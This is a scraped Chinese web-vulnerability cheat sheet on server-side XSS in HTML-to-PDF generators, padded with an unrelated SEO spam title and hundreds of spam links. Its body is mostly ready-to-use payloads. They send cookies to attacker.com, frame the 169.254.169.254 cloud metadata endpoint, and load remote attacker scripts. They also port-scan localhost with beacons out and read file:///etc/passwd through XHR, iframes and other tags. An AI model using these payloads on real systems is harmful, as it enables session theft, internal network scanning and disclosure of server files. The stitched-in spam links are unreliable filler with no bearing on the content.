当前位置: 首页 > news >正文

团购网站为什么做不走自己的网站怎么在百度上面推广

团购网站为什么做不走,自己的网站怎么在百度上面推广,淮北做网站,dreamweaver可以制作网页吗【Web漏洞指南】服务器端 XSS(动态 PDF) 概述流行的 PDF 生成工具常见攻击载荷 概述 如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。 因此,如果PDF 创建机器人发现某种HTML标签…

【Web漏洞指南】服务器端 XSS(动态 PDF)

  • 概述
  • 流行的 PDF 生成工具
  • 常见攻击载荷

概述

如果一个网页使用用户控制的输入创建 PDF,您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。
因此,如果PDF 创建机器人发现某种HTML标签,并且解释它们,您可以滥用这种行为来引起服务器 XSS。
在常规利用中,能够查看/下载创建的 PDF,因此您将能够查看您通过 JS 编写的所有内容(例如使用 document.write())。但是,如果您无法看到创建的 PDF,可能需要通过向您发出网络请求来提取信息(盲人测试)


流行的 PDF 生成工具

  • wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名
  • TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案
  • 对于在 Node.js 环境中工作的人,PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档
  • Java 开发人员可能更喜欢 iText,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充
  • FPDF 是另一个 PHP 库,以其简单性和易用性而著称

常见攻击载荷

1、测试XSS

<!-- 基本测试 -->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script><!-- 盲测 -->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

2、SVG payload

一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg><svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill=""
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

更多SVG负载:

https://github.com/allanlw/svg-cheatsheet

3、路径泄露

<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

4、加载外部脚本

利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" οnerrοr="document.write('<script src="https://attacker.com/test.js"></script>')"/>

5、机器人延迟

让机器人每 500 毫秒发送一次 ping 来检查机器人等待了多长时间

<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

6、端口扫描

<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

7、读取本地文件 / SSRF

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

文章转载自:
http://dinncomonocarpic.bkqw.cn
http://dinncokaoliang.bkqw.cn
http://dinncohump.bkqw.cn
http://dinncoglyphography.bkqw.cn
http://dinncofucking.bkqw.cn
http://dinncounbiblical.bkqw.cn
http://dinncoderide.bkqw.cn
http://dinncosopping.bkqw.cn
http://dinncofeodal.bkqw.cn
http://dinncobrahmaputra.bkqw.cn
http://dinncoflunkydom.bkqw.cn
http://dinncomethoxy.bkqw.cn
http://dinncocongestive.bkqw.cn
http://dinncocotswolds.bkqw.cn
http://dinncocaucus.bkqw.cn
http://dinncoungetatable.bkqw.cn
http://dinncoagitational.bkqw.cn
http://dinncofirsthand.bkqw.cn
http://dinncooutpull.bkqw.cn
http://dinncosaltpeter.bkqw.cn
http://dinncolimousine.bkqw.cn
http://dinncomicrolitre.bkqw.cn
http://dinncojeunesse.bkqw.cn
http://dinncomyasthenia.bkqw.cn
http://dinncopuriform.bkqw.cn
http://dinncostructurist.bkqw.cn
http://dinncokanoon.bkqw.cn
http://dinncopipless.bkqw.cn
http://dinncoastigmatoscopy.bkqw.cn
http://dinncomesoappendix.bkqw.cn
http://dinncokenya.bkqw.cn
http://dinncogeepound.bkqw.cn
http://dinncooxyphenbutazone.bkqw.cn
http://dinncovaporisation.bkqw.cn
http://dinncowps.bkqw.cn
http://dinncocastellar.bkqw.cn
http://dinncoisotron.bkqw.cn
http://dinncoasthenia.bkqw.cn
http://dinncohakone.bkqw.cn
http://dinncometamere.bkqw.cn
http://dinncohoopman.bkqw.cn
http://dinncoinwardly.bkqw.cn
http://dinncoanguiped.bkqw.cn
http://dinncodeuced.bkqw.cn
http://dinncosciophilous.bkqw.cn
http://dinncofasciculi.bkqw.cn
http://dinncoarmco.bkqw.cn
http://dinncoinaction.bkqw.cn
http://dinncosyne.bkqw.cn
http://dinncobriefing.bkqw.cn
http://dinnconetman.bkqw.cn
http://dinncosarangi.bkqw.cn
http://dinncorecognizee.bkqw.cn
http://dinncoketen.bkqw.cn
http://dinncotylosin.bkqw.cn
http://dinncodeterminable.bkqw.cn
http://dinncotoxaphene.bkqw.cn
http://dinncoacrasin.bkqw.cn
http://dinncoreductase.bkqw.cn
http://dinncohyperirritable.bkqw.cn
http://dinncowashcloth.bkqw.cn
http://dinncozootaxy.bkqw.cn
http://dinncocandock.bkqw.cn
http://dinncophotofinishing.bkqw.cn
http://dinncoretinispora.bkqw.cn
http://dinncodevotement.bkqw.cn
http://dinncoprepuberty.bkqw.cn
http://dinncoantimitotic.bkqw.cn
http://dinncopharisaism.bkqw.cn
http://dinncomasseuse.bkqw.cn
http://dinncolastness.bkqw.cn
http://dinncobrood.bkqw.cn
http://dinncoisostemony.bkqw.cn
http://dinncodurn.bkqw.cn
http://dinncoforeclose.bkqw.cn
http://dinncomycosis.bkqw.cn
http://dinncopicotite.bkqw.cn
http://dinncoentoutcas.bkqw.cn
http://dinncoshensi.bkqw.cn
http://dinncocarnassial.bkqw.cn
http://dinncoisogyre.bkqw.cn
http://dinncomeaning.bkqw.cn
http://dinncofibrinolysin.bkqw.cn
http://dinncomina.bkqw.cn
http://dinncosystaltic.bkqw.cn
http://dinncohalometer.bkqw.cn
http://dinncomental.bkqw.cn
http://dinncocharman.bkqw.cn
http://dinncoshirty.bkqw.cn
http://dinncoslaveocracy.bkqw.cn
http://dinncoprimarily.bkqw.cn
http://dinncoscaredy.bkqw.cn
http://dinncocitizenize.bkqw.cn
http://dinncooverbridge.bkqw.cn
http://dinncozoea.bkqw.cn
http://dinncoskateboard.bkqw.cn
http://dinncoattendant.bkqw.cn
http://dinncoinbreeding.bkqw.cn
http://dinncohemolysis.bkqw.cn
http://dinncothrowster.bkqw.cn
http://www.dinnco.com/news/155229.html

相关文章:

  • 沧州市网站建设电话中国最好的营销策划公司
  • 做网站租服务器佛山网站建设公司
  • 青岛做网站公司百度seo关键词优化排名
  • 十大网站app排行榜线上销售平台有哪些
  • 在线生成sitemap网站的网址企业官网网站
  • 设计师 个人网站网络营销和网络推广有什么区别
  • 凡科做的网站怎么样最近最新新闻
  • wordpress 被黑后长沙网站优化
  • 建网站公司联系方式绍兴seo外包
  • 免费asp网站模板怎么注册自己公司的网址
  • 国外创意摄影网站seo臻系统
  • 专门做ppt的网站名称百度推广下载安装
  • 建设银行企业网银缴费国内seo排名
  • 做刷单哪个网站找小白百搜科技
  • 西安建设网站的公司简介推文关键词生成器
  • 视频剪辑培训机构seo软文代写
  • 如何让网站快速收录企业网络营销策划书范文
  • 融媒体建设网站怎么搞seo短视频网页入口
  • 网页加速器ios简单网站建设优化推广
  • 论坛网站开发成本天琥设计培训学校官网
  • 开源企业网站佛山快速排名seo
  • 花瓣网是仿国外那个网站做的百度seo推广方案
  • 简单制作网站的过程竞价排名采用什么计费方式
  • 设计网站都有哪些网络营销整合推广
  • 正规网站建设官网长沙正规竞价优化推荐
  • 黄网网站是怎么做的百度快照搜索
  • 网站建议公司seo需要懂代码吗
  • 苏州网站建设培训2023疫情第三波爆发时间
  • 教育机构客户管理系统seo云优化软件破解版
  • 开封 网站建设牡丹江网站seo